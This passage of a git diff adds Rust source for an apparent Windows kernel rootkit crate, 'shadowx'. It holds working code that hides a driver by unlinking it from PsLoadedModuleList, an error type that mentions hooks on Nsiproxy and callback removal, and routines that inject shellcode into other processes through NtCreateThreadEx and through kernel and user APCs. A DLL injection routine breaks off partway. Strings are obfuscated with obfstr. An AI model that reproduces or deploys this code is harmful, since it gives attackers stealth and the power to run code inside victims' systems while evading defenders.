/// * `driver_name` - A string slice containing the name of the driver to hide.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY`
|
||||||
|
/// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list.
|
||||||
|
/// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process.
|
||||||
|
pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY), ShadowError> {
|
||||||
|
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
||||||
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
|
||||||
|
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
||||||
|
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if ldr_data.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let list_entry = ldr_data as *mut LIST_ENTRY;
|
||||||
|
let mut next = (*ldr_data).InLoadOrderLinks.Flink as *mut LIST_ENTRY;
|
||||||
|
|
||||||
|
// Iterate through the loaded module list to find the target driver
|
||||||
|
while next != list_entry {
|
||||||
|
let current = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// Convert the driver name from UTF-16 to a Rust string
|
||||||
|
let buffer = core::slice::from_raw_parts((*current).BaseDllName.Buffer, ((*current).BaseDllName.Length / 2) as usize);
|
||||||
|
let name = String::from_utf16_lossy(buffer);
|
||||||
|
|
||||||
|
// Check if the current driver matches the target driver
|
||||||
|
if name.contains(driver_name) {
|
||||||
|
// The next driver in the chain
|
||||||
|
let next = (*current).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// The previous driver in the chain
|
||||||
|
let previous = (*current).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// Storing the previous list entry, which will be returned
|
||||||
|
let previous_link = LIST_ENTRY {
|
||||||
|
Flink: next as *mut LIST_ENTRY,
|
||||||
|
Blink: previous as *mut LIST_ENTRY,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Unlink the current driver
|
||||||
|
(*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
// Make the current driver point to itself to "hide" it
|
||||||
|
(*current).InLoadOrderLinks.Flink = current as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*current).InLoadOrderLinks.Blink = current as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
return Ok((previous_link, *current))
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return an error if the driver is not found
|
||||||
|
Err(ShadowError::DriverNotFound(driver_name.to_string()))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Unhides a previously hidden driver by restoring it to the `PsLoadedModuleList`.
|
||||||
|
///
|
||||||
|
/// This function takes a previously hidden driver's `LIST_ENTRY` and `LDR_DATA_TABLE_ENTRY`
|
||||||
|
/// and restores it back into the module list, making it visible again.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `driver_name` - The name of the driver to unhide.
|
||||||
|
/// * `list_entry` - A pointer to the `LIST_ENTRY` that was saved when the driver was hidden.
|
||||||
|
/// * `driver_entry` - A pointer to the `LDR_DATA_TABLE_ENTRY` of the hidden driver.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list.
|
||||||
|
/// * `Err(ShadowError)` - If an error occurs during the restoration process.
|
||||||
|
pub unsafe fn unhide_driver(driver_name: &str, list_entry: PLIST_ENTRY, driver_entry: PLDR_DATA_TABLE_ENTRY) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Restore the driver's link pointers
|
||||||
|
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
// Link the driver back into the list
|
||||||
|
let next = (*driver_entry).InLoadOrderLinks.Flink;
|
||||||
|
let previous = (*driver_entry).InLoadOrderLinks.Blink;
|
||||||
|
|
||||||
|
(*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all drivers currently loaded in the kernel.
|
||||||
|
///
|
||||||
|
/// This function iterates over the `PsLoadedModuleList` to gather information about all
|
||||||
|
/// currently loaded drivers, such as their name, base address, and index. It stores the
|
||||||
|
/// gathered information in a `Vec<DriverInfo>` which is returned to the caller.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Vec<DriverInfo>)` - A vector of `DriverInfo` structs, each containing the name, base address,
|
||||||
|
/// and index of a loaded driver.
|
||||||
|
/// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other
|
||||||
|
/// errors occur during the process.
|
||||||
|
pub unsafe fn enumerate_driver() -> Result<Vec<DriverInfo>, ShadowError> {
|
||||||
|
let mut drivers: Vec<DriverInfo> = Vec::with_capacity(276);
|
||||||
|
|
||||||
|
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
|
||||||
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
|
||||||
|
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
|
||||||
|
let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
if ldr_data.is_null() {
|
||||||
|
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = ldr_data as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
|
||||||
|
let mut count = 0;
|
||||||
|
|
||||||
|
// Iterate over the list of loaded drivers
|
||||||
|
while next != current {
|
||||||
|
let ldr_data_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// Get the driver name from the `BaseDllName` field, converting it from UTF-16 to a Rust string
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*ldr_data_entry).BaseDllName.Buffer,
|
||||||
|
((*ldr_data_entry).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Prepare the name buffer, truncating if necessary to fit the 256-character limit
|
||||||
|
let mut name = [0u16; 256];
|
||||||
|
let length = core::cmp::min(buffer.len(), 255);
|
||||||
|
name[..length].copy_from_slice(&buffer[..length]);
|
||||||
|
|
||||||
|
// Populates the `DriverInfo` structure with name, address, and index
|
||||||
|
drivers.push(DriverInfo {
|
||||||
|
name,
|
||||||
|
address: (*ldr_data_entry).DllBase as usize,
|
||||||
|
index: count as u8,
|
||||||
|
});
|
||||||
|
|
||||||
|
count += 1;
|
||||||
|
|
||||||
|
// Move to the next driver in the list
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(drivers)
|
||||||
|
}
|
||||||
|
}
|
||||||
150
crates/shadowx/src/error.rs
Normal file
150
crates/shadowx/src/error.rs
Normal file
@@ -0,0 +1,150 @@
|
|||||||
|
use alloc::string::String;
|
||||||
|
use thiserror_no_std::Error;
|
||||||
|
|
||||||
|
#[derive(Debug, Error)]
|
||||||
|
pub enum ShadowError {
|
||||||
|
/// Represents an error where an API call failed.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The name of the API.
|
||||||
|
/// * `{1}` - The status code returned by the API.
|
||||||
|
#[error("{0} Failed With Status: {1}")]
|
||||||
|
ApiCallFailed(&'static str, i32),
|
||||||
|
|
||||||
|
/// Represents an error where a function execution failed at a specific line.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The name of the function.
|
||||||
|
/// * `{1}` - The line number where the function failed.
|
||||||
|
#[error("{0} function failed on the line: {1}")]
|
||||||
|
FunctionExecutionFailed(&'static str, u32),
|
||||||
|
|
||||||
|
/// Error when a process with a specific identifier is not found.
|
||||||
|
///
|
||||||
|
/// This error is returned when the system cannot locate a process with the given
|
||||||
|
/// identifier (e.g., PID or process name).
|
||||||
|
///
|
||||||
|
/// * `{0}` - The identifier of the process that was not found.
|
||||||
|
#[error("Process with identifier {0} not found")]
|
||||||
|
ProcessNotFound(String),
|
||||||
|
|
||||||
|
/// Error when a thread with a specific TID is not found.
|
||||||
|
///
|
||||||
|
/// This error occurs when a thread with the specified TID cannot be located in the system.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The thread identifier (TID) that was not found.
|
||||||
|
#[error("Thread with TID {0} not found")]
|
||||||
|
ThreadNotFound(usize),
|
||||||
|
|
||||||
|
/// Represents an invalid device request error.
|
||||||
|
///
|
||||||
|
/// This error occurs when an invalid or unsupported request is made to a device.
|
||||||
|
#[error("Invalid Device Request")]
|
||||||
|
InvalidDeviceRequest,
|
||||||
|
|
||||||
|
/// Represents an error where a null pointer was encountered.
|
||||||
|
///
|
||||||
|
/// This error occurs when a null pointer is encountered during an operation that
|
||||||
|
/// requires a valid memory reference.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The name of the pointer that was null.
|
||||||
|
#[error("Pointer is null: {0}")]
|
||||||
|
NullPointer(&'static str),
|
||||||
|
|
||||||
|
/// Represents an error where a string conversion from a raw pointer failed.
|
||||||
|
///
|
||||||
|
/// This error is returned when the system fails to convert a raw pointer to a string,
|
||||||
|
/// typically during Unicode or ANSI string conversions.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The memory address of the raw pointer that failed to convert.
|
||||||
|
#[error("Failed to convert string from raw pointer at {0}")]
|
||||||
|
StringConversionFailed(usize),
|
||||||
|
|
||||||
|
/// Represents an error where a specific module was not found.
|
||||||
|
///
|
||||||
|
/// This error occurs when a module (e.g., a DLL or driver) with the specified name
|
||||||
|
/// cannot be found in the system.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The name of the module that was not found.
|
||||||
|
#[error("Module {0} not found")]
|
||||||
|
ModuleNotFound(String),
|
||||||
|
|
||||||
|
/// Represents an error where a driver with a specific name was not found.
|
||||||
|
///
|
||||||
|
/// This error occurs when a driver with the given name cannot be found in the
|
||||||
|
/// system's loaded drivers list.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The name of the driver that was not found.
|
||||||
|
#[error("Driver {0} not found")]
|
||||||
|
DriverNotFound(String),
|
||||||
|
|
||||||
|
/// Represents an error where a pattern scan failed to locate a required pattern in memory.
|
||||||
|
///
|
||||||
|
/// This error occurs when a memory pattern scan fails to match the expected byte sequence.
|
||||||
|
#[error("Pattern not found")]
|
||||||
|
PatternNotFound,
|
||||||
|
|
||||||
|
/// Represents an error where a function could not be found in the specified module.
|
||||||
|
///
|
||||||
|
/// This error occurs when a named function is not found in a given module (DLL).
|
||||||
|
///
|
||||||
|
/// * `{0}` - The name of the function that was not found.
|
||||||
|
#[error("Function {0} not found in module")]
|
||||||
|
FunctionNotFound(String),
|
||||||
|
|
||||||
|
/// Represents an unknown failure in the system.
|
||||||
|
///
|
||||||
|
/// This is a generic catch-all error for unexpected failures. It includes the name of
|
||||||
|
/// the failing operation and the line number where the failure occurred.
|
||||||
|
///
|
||||||
|
/// * `{0}` - The operation that failed.
|
||||||
|
/// * `{1}` - The line number where the failure occurred.
|
||||||
|
#[error("Unknown failure in {0}, at line {1}")]
|
||||||
|
UnknownFailure(&'static str, u32),
|
||||||
|
|
||||||
|
/// Represents an error when installing or uninstalling a hook on the Nsiproxy driver.
|
||||||
|
///
|
||||||
|
/// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver.
|
||||||
|
#[error("Error handling hook on Nsiproxy driver")]
|
||||||
|
HookFailure,
|
||||||
|
|
||||||
|
/// Represents an error when a buffer is too small to complete an operation.
|
||||||
|
///
|
||||||
|
/// This error occurs when the provided buffer is not large enough to hold the expected
|
||||||
|
/// data, resulting in an operation failure.
|
||||||
|
#[error("Small buffer")]
|
||||||
|
BufferTooSmall,
|
||||||
|
|
||||||
|
/// Error indicating that a callback could not be found.
|
||||||
|
///
|
||||||
|
/// This occurs when the system is unable to locate the expected callback function.
|
||||||
|
#[error("Error searching for the callback")]
|
||||||
|
CallbackNotFound,
|
||||||
|
|
||||||
|
/// Error indicating that a target with a specific index was not found.
|
||||||
|
///
|
||||||
|
/// This occurs when an operation fails to locate an item by its index in a list or array.
|
||||||
|
///
|
||||||
|
/// # Fields
|
||||||
|
///
|
||||||
|
/// * `{0}` - The index of the target that was not found.
|
||||||
|
#[error("Target not found with index: {0}")]
|
||||||
|
IndexNotFound(usize),
|
||||||
|
|
||||||
|
/// Error indicating that a failure occurred while removing a callback.
|
||||||
|
///
|
||||||
|
/// This occurs when the system fails to remove a callback that was previously registered.
|
||||||
|
#[error("Error removing a callback")]
|
||||||
|
RemoveFailureCallback,
|
||||||
|
|
||||||
|
/// Error indicating that a failure occurred while restoring a callback.
|
||||||
|
///
|
||||||
|
/// This occurs when the system fails to restore a previously removed callback.
|
||||||
|
#[error("Error restoring a callback")]
|
||||||
|
RestoringFailureCallback,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ShadowError {
|
||||||
|
/// Helper function to create a `ProcessNotFound` error from any type that can be converted into a `String`.
|
||||||
|
pub fn process_not_found<T: Into<String>>(id: T) -> Self {
|
||||||
|
ShadowError::ProcessNotFound(id.into())
|
||||||
|
}
|
||||||
|
}
|
||||||
389
crates/shadowx/src/injection.rs
Normal file
389
crates/shadowx/src/injection.rs
Normal file
@@ -0,0 +1,389 @@
|
|||||||
|
#![allow(non_snake_case)]
|
||||||
|
|
||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
wdk_sys::{
|
||||||
|
*,
|
||||||
|
ntddk::*,
|
||||||
|
_MODE::{KernelMode, UserMode}
|
||||||
|
},
|
||||||
|
core::{
|
||||||
|
ffi::c_void, ptr::null_mut,
|
||||||
|
mem::transmute
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
*,
|
||||||
|
pool::PoolMemory,
|
||||||
|
error::ShadowError,
|
||||||
|
patterns::find_zw_function,
|
||||||
|
handle::Handle, file::read_file,
|
||||||
|
KAPC_ENVIROMENT::OriginalApcEnvironment,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Represents shellcode injection operations.
|
||||||
|
///
|
||||||
|
/// The `Shellcode` struct provides methods for injecting shellcode into a target process
|
||||||
|
/// by allocating memory, copying shellcode, and creating a remote thread in the process.
|
||||||
|
pub struct Shellcode;
|
||||||
|
|
||||||
|
impl Shellcode {
|
||||||
|
/// Injects shellcode into a target process using `NtCreateThreadEx`.
|
||||||
|
///
|
||||||
|
/// This function performs the following steps:
|
||||||
|
/// 1. Opens the target process with all access rights.
|
||||||
|
/// 2. Allocates memory in the target process for the shellcode.
|
||||||
|
/// 3. Copies the shellcode from the current process into the allocated memory.
|
||||||
|
/// 4. Changes the memory protection to allow execution.
|
||||||
|
/// 5. Creates a new thread in the target process to execute the shellcode.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
|
||||||
|
/// * `path` - The file path to the shellcode to be injected, which will be read into memory.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
||||||
|
/// * `Err(ShadowError)` - If any step in the injection process fails, such as:
|
||||||
|
/// - Opening the process (`ZwOpenProcess` failure),
|
||||||
|
/// - Allocating virtual memory in the target process (`ZwAllocateVirtualMemory` failure),
|
||||||
|
/// - Protecting virtual memory (`ZwProtectVirtualMemory` failure),
|
||||||
|
/// - Creating the thread in the target process (`ZwCreateThreadEx` failure).
|
||||||
|
pub unsafe fn injection_thread(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Find the address of NtCreateThreadEx to create a thread in the target process
|
||||||
|
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))? as *mut c_void;
|
||||||
|
|
||||||
|
// Retrieve the EPROCESS structure for the target process
|
||||||
|
let target_eprocess = Process::new(pid)?;
|
||||||
|
|
||||||
|
// Open the target process with all access rights
|
||||||
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
|
let mut h_process: HANDLE = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wrap the process handle in a safe Handle type
|
||||||
|
let h_process = Handle::new(h_process);
|
||||||
|
|
||||||
|
// Read the shellcode from the provided file path
|
||||||
|
let shellcode = read_file(path)?;
|
||||||
|
|
||||||
|
// Allocate memory in the target process for the shellcode
|
||||||
|
let mut region_size = shellcode.len() as u64;
|
||||||
|
let mut base_address = null_mut();
|
||||||
|
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy the shellcode into the allocated memory in the target process
|
||||||
|
let mut result_number = 0;
|
||||||
|
MmCopyVirtualMemory(
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
shellcode.as_ptr() as _,
|
||||||
|
target_eprocess.e_process,
|
||||||
|
base_address,
|
||||||
|
shellcode.len() as u64,
|
||||||
|
KernelMode as i8,
|
||||||
|
&mut result_number,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Change the memory protection to allow execution of the shellcode
|
||||||
|
let mut old_protect = 0;
|
||||||
|
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create a thread in the target process to execute the shellcode
|
||||||
|
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||||
|
let mut h_thread = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
status = ZwCreateThreadEx(
|
||||||
|
&mut h_thread,
|
||||||
|
THREAD_ALL_ACCESS,
|
||||||
|
&mut obj_attr,
|
||||||
|
h_process.get(),
|
||||||
|
transmute(base_address),
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
null_mut()
|
||||||
|
);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close the thread handle after creation
|
||||||
|
ZwClose(h_thread);
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Injects shellcode into a target process using Asynchronous Procedure Call (APC).
|
||||||
|
///
|
||||||
|
/// This function performs the following steps:
|
||||||
|
/// 1. Finds an alertable thread in the target process.
|
||||||
|
/// 2. Allocates memory in the target process for the shellcode.
|
||||||
|
/// 3. Copies the shellcode from the current process to the target process.
|
||||||
|
/// 4. Initializes two APCs (kernel and user).
|
||||||
|
/// 5. Queues the APCs into the alertable thread of the target process.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
|
||||||
|
/// * `path` - The file path to the shellcode that will be injected into the target process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - If the shellcode injection is successful.
|
||||||
|
/// * `Err(ShadowError)` - If any of the following steps fail:
|
||||||
|
/// - Finding an alertable thread (`find_thread_alertable`),
|
||||||
|
/// - Opening the process (`ZwOpenProcess` failure),
|
||||||
|
/// - Allocating memory in the target process (`ZwAllocateVirtualMemory` failure),
|
||||||
|
/// - Queuing the APC (`KeInsertQueueApc` failure).
|
||||||
|
pub unsafe fn injection_apc(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Read the shellcode from the provided file path
|
||||||
|
let shellcode = read_file(path)?;
|
||||||
|
|
||||||
|
// Find an alertable thread in the target process
|
||||||
|
let thread_id = find_thread_alertable(pid)?;
|
||||||
|
|
||||||
|
// Open the target process
|
||||||
|
let target_eprocess = Process::new(pid)?;
|
||||||
|
let mut h_process: HANDLE = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wrap the process handle in a safe Handle type
|
||||||
|
let h_process = Handle::new(h_process);
|
||||||
|
|
||||||
|
// Allocate memory in the target process for the shellcode
|
||||||
|
let mut base_address = null_mut();
|
||||||
|
let mut region_size = shellcode.len() as u64;
|
||||||
|
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy the shellcode into the target process's memory
|
||||||
|
let mut result_number = 0;
|
||||||
|
MmCopyVirtualMemory(
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
shellcode.as_ptr() as _,
|
||||||
|
target_eprocess.e_process,
|
||||||
|
base_address,
|
||||||
|
shellcode.len() as u64,
|
||||||
|
KernelMode as i8,
|
||||||
|
&mut result_number,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Allocate memory for kernel and user APC objects
|
||||||
|
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"krts"))
|
||||||
|
.map(|mem: PoolMemory| {
|
||||||
|
let ptr = mem.ptr as *mut _KAPC;
|
||||||
|
core::mem::forget(mem);
|
||||||
|
ptr
|
||||||
|
})
|
||||||
|
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||||
|
|
||||||
|
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, u32::from_be_bytes(*b"urds"))
|
||||||
|
.map(|mem: PoolMemory| {
|
||||||
|
let ptr = mem.ptr as *mut _KAPC;
|
||||||
|
core::mem::forget(mem);
|
||||||
|
ptr
|
||||||
|
})
|
||||||
|
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
|
||||||
|
|
||||||
|
// Initialize the kernel APC
|
||||||
|
KeInitializeApc(
|
||||||
|
kernel_apc,
|
||||||
|
thread_id,
|
||||||
|
OriginalApcEnvironment,
|
||||||
|
kernel_apc_callback,
|
||||||
|
None,
|
||||||
|
None,
|
||||||
|
KernelMode as i8,
|
||||||
|
null_mut()
|
||||||
|
);
|
||||||
|
|
||||||
|
// Initialize the user APC with the shellcode
|
||||||
|
KeInitializeApc(
|
||||||
|
user_apc,
|
||||||
|
thread_id,
|
||||||
|
OriginalApcEnvironment,
|
||||||
|
user_apc_callback,
|
||||||
|
None,
|
||||||
|
transmute::<_, PKNORMAL_ROUTINE>(base_address),
|
||||||
|
UserMode as i8,
|
||||||
|
null_mut()
|
||||||
|
);
|
||||||
|
|
||||||
|
// Insert the user APC into the queue
|
||||||
|
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Insert the kernel APC into the queue
|
||||||
|
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
|
||||||
|
return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!()))
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Represents dll injection operations.
|
||||||
|
///
|
||||||
|
/// The `DLL` struct provides methods for injecting DLL into a target process
|
||||||
|
/// using either `NtCreateThreadEx`
|
||||||
|
pub struct DLL;
|
||||||
|
|
||||||
|
impl DLL {
|
||||||
|
/// Injects a DLL into a target process by creating a remote thread that calls `LoadLibraryA`.
|
||||||
|
///
|
||||||
|
/// This function opens the target process, allocates memory for the DLL path, and creates a remote thread
|
||||||
|
/// in the target process to load the DLL using `LoadLibraryA`.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process where the DLL will be injected.
|
||||||
|
/// * `path` - The file path to the DLL that will be injected.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(STATUS_SUCCESS)` - If the injection is successful.
|
||||||
|
/// * `Err(ShadowError)` - If any step, such as opening the process, memory allocation, or thread creation, fails.
|
||||||
|
pub unsafe fn injection_dll_thread(pid: usize, path: &str) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Find the address of NtCreateThreadEx to create a thread in the target process
|
||||||
|
let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))?;
|
||||||
|
|
||||||
|
// Find the address of LoadLibraryA in kernel32.dll
|
||||||
|
let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA"))?;
|
||||||
|
|
||||||
|
// Open the target process
|
||||||
|
let target_eprocess = Process::new(pid)?;
|
||||||
|
let mut h_process: HANDLE = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: null_mut(),
|
||||||
|
};
|
||||||
|
let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wrap the process handle in a safe Handle type
|
||||||
|
let h_process = Handle::new(h_process);
|
||||||
|
|
||||||
|
// Allocate memory in the target process for the DLL path
|
||||||
|
let mut base_address = null_mut();
|
||||||
|
let mut region_size = (path.len() * size_of::<u16>()) as u64;
|
||||||
|
status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Copy the DLL path into the target process's memory
|
||||||
|
let mut result_number = 0;
|
||||||
|
MmCopyVirtualMemory(
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
path.as_ptr() as _,
|
||||||
|
target_eprocess.e_process,
|
||||||
|
base_address,
|
||||||
|
(path.len() * size_of::<u16>()) as u64,
|
||||||
|
KernelMode as i8,
|
||||||
|
&mut result_number,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Change the memory protection to executabl
|
||||||
|
let mut old_protect = 0;
|
||||||
|
status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create a thread in the target process to load the DLL
|
||||||
|
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr);
|
||||||
|
let mut h_thread = null_mut();
|
||||||
|
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
|
||||||
|
status = ZwCreateThreadEx(
|
||||||
|
&mut h_thread,
|
||||||
|
